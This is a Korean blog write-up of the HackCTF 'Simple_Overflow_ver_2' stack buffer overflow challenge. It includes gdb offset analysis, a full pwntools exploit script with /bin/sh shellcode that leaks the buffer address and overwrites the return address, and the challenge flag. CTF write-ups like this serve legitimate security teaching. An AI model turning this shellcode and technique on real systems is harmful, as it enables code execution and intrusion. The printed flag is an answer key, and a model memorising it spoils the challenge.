728x90
반응형
이번에는 simple overflow ver 2를 풀어볼 것이다.
먼저 프로그램을 실행해보자.
위처럼 데이터를 입력하고 어디에 값이 들어가는지 출력한다.
그리고 다시 하면 buf가 초기화되고 다시 값을 똑같은 위치에 입력한다.
그러면 먼저 main을 디스어셈블 해보자.
Dump of assembler code for function main:
0x0804852d <+0>: push ebp
0x0804852e <+1>: mov ebp,esp
0x08048530 <+3>: push ebx
0x08048531 <+4>: sub esp,0x98
0x08048537 <+10>: mov eax,ds:0x804a040
0x0804853c <+15>: mov DWORD PTR [esp+0xc],0x0
0x08048544 <+23>: mov DWORD PTR [esp+0x8],0x2
0x0804854c <+31>: mov DWORD PTR [esp+0x4],0x0
0x08048554 <+39>: mov DWORD PTR [esp],eax
0x08048557 <+42>: call 0x8048400 <setvbuf@plt>
0x0804855c <+47>: mov BYTE PTR [ebp-0x89],0x79
0x08048563 <+54>: mov DWORD PTR [esp],0x8048700
0x0804856a <+61>: call 0x80483c0 <printf@plt>
0x0804856f <+66>: lea eax,[ebp-0x88]
0x08048575 <+72>: mov DWORD PTR [esp+0x4],eax
0x08048579 <+76>: mov DWORD PTR [esp],0x8048708
0x08048580 <+83>: call 0x8048420 <__isoc99_scanf@plt>
0x08048585 <+88>: test eax,eax
0x08048587 <+90>: je 0x804861b <main+238>
0x0804858d <+96>: mov DWORD PTR [ebp-0x8],0x0
0x08048594 <+103>: jmp 0x8048602 <main+213>
0x08048596 <+105>: mov eax,DWORD PTR [ebp-0x8]
0x08048599 <+108>: and eax,0xf
0x0804859c <+111>: test eax,eax
0x0804859e <+113>: jne 0x80485bb <main+142>
0x080485a0 <+115>: lea edx,[ebp-0x88]
0x080485a6 <+121>: mov eax,DWORD PTR [ebp-0x8]
0x080485a9 <+124>: add eax,edx
0x080485ab <+126>: mov DWORD PTR [esp+0x4],eax
0x080485af <+130>: mov DWORD PTR [esp],0x8048710
0x080485b6 <+137>: call 0x80483c0 <printf@plt>
0x080485bb <+142>: lea edx,[ebp-0x88]
0x080485c1 <+148>: mov eax,DWORD PTR [ebp-0x8]
0x080485c4 <+151>: add eax,edx
0x080485c6 <+153>: movzx eax,BYTE PTR [eax]
0x080485c9 <+156>: movsx eax,al
0x080485cc <+159>: movzx eax,al
0x080485cf <+162>: mov DWORD PTR [esp+0x4],eax
0x080485d3 <+166>: mov DWORD PTR [esp],0x8048715
0x080485da <+173>: call 0x80483c0 <printf@plt>
0x080485df <+178>: mov eax,DWORD PTR [ebp-0x8]
0x080485e2 <+181>: cdq
0x080485e3 <+182>: shr edx,0x1c
0x080485e6 <+185>: add eax,edx
0x080485e8 <+187>: and eax,0xf
0x080485eb <+190>: sub eax,edx
0x080485ed <+192>: cmp eax,0xf
0x080485f0 <+195>: jne 0x80485fe <main+209>
0x080485f2 <+197>: mov DWORD PTR [esp],0xa
0x080485f9 <+204>: call 0x8048410 <putchar@plt>
0x080485fe <+209>: add DWORD PTR [ebp-0x8],0x1
0x08048602 <+213>: mov ebx,DWORD PTR [ebp-0x8]
0x08048605 <+216>: lea eax,[ebp-0x88]
0x0804860b <+222>: mov DWORD PTR [esp],eax
0x0804860e <+225>: call 0x80483e0 <strlen@plt>
0x08048613 <+230>: cmp ebx,eax
0x08048615 <+232>: jb 0x8048596 <main+105>
0x0804861b <+238>: mov DWORD PTR [esp],0x8048719
0x08048622 <+245>: call 0x80483c0 <printf@plt>
0x08048627 <+250>: lea eax,[ebp-0x89]
0x0804862d <+256>: mov DWORD PTR [esp+0x4],eax
0x08048631 <+260>: mov DWORD PTR [esp],0x8048715
0x08048638 <+267>: call 0x8048420 <__isoc99_scanf@plt>
0x0804863d <+272>: test eax,eax
0x0804863f <+274>: je 0x804865f <main+306>
0x08048641 <+276>: movzx eax,BYTE PTR [ebp-0x89]
0x08048648 <+283>: cmp al,0x79
0x0804864a <+285>: je 0x8048563 <main+54>
0x08048650 <+291>: movzx eax,BYTE PTR [ebp-0x89]
0x08048657 <+298>: cmp al,0x59
0x08048659 <+300>: je 0x8048563 <main+54>
0x0804865f <+306>: mov eax,0x0
0x08048664 <+311>: add esp,0x98
0x0804866a <+317>: pop ebx
0x0804866b <+318>: pop ebp
0x0804866c <+319>: ret
End of assembler dump.
중간에 scanf로 값을 입력받는다.
그러면 이제 어떤식으로 exploit 해야하는지 감이 잡힌다.
처음에 아무 값을 넣고 buf의 시작주소를 뽑고, y를 눌러 다시 buf에 값을 넣을 때 nop와 쉘코드를 넣고 ret에 시작주소를 넣으면 쉘 획득에 성공할 것이다.
그러면 ret전까지 바이트 수를 알아내보자.
일단 main의 시작주소와 scanf 두개 중 첫번째로 call하는 부분에 브레이크를 건다. 그리고 아래의 명령어로 구한다.(Quit뜬거는 실수...)
(gdb) b *0x0804852d
Breakpoint 1 at 0x804852d
(gdb) b *0x08048580
Breakpoint 2 at 0x8048580
(gdb) r
Starting program: /home/psj/hackctf/bof2/bof
Breakpoint 1, 0x0804852d in main ()
(gdb) i r esp
esp 0xffffd03c 0xffffd03c
(gdb) c
Continuing.
Data :
Breakpoint 2, 0x08048580 in main ()
(gdb) i r esp
esp 0xffffcf9c 0xffffcf9c
(gdb) Quit
(gdb) x/3wx 0xffffcf9c
0xffffcf9c: 0x08048708 0xffffcfb0 0x00000002
(gdb) p/d 0xffffd03c-0xffffcfb0
$1 = 140
ret전까지 140바이트이다.
그러면 처음에 주소를 leak하고, shellcode(25) + nop(115) + 시작주소를 넣으면 된다.
이제 exploit code를 짜보자.
from pwn import *
#context.log_level = "debug"
#p = process("./bof")
p = remote("ctf.j0n9hyun.xyz",3006)
p.recvuntil(": ") # Data :
p.sendline("A") #give any string
ret = int(p.recv()[:10],16) #leak buf address
shellcode = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
p.sendline("y") #again
payload = b"\x90"*14
payload += shellcode
payload += b"\x90"*100
payload += p32(ret)
p.recvuntil(": ") # Data :
p.sendline(payload)
p.recv()
p.sendline("n")
p.interactive()
위처럼 코드를 짜면, 이제 실행을 해보자.
위처럼 쉘 획득에 성공한 걸 확인할 수 있다.
FLAG : HackCTF{y0u_d1d_7h3_45516nm3n7_5ucc355fully!}
728x90
반응형
'워게임' 카테고리의 다른 글
HackCTF - BOF_Basic #1 (0) | 2021.07.27 |
---|---|
Shellcode(쉘코드) 모음 (0) | 2021.07.27 |
HackCTF - BOF_PIE (0) | 2021.07.27 |
HackCTF - x64 Simple_size_BOF (0) | 2021.07.27 |
HackCTF - x64 Buffer Overflow(writeup) (0) | 2021.07.26 |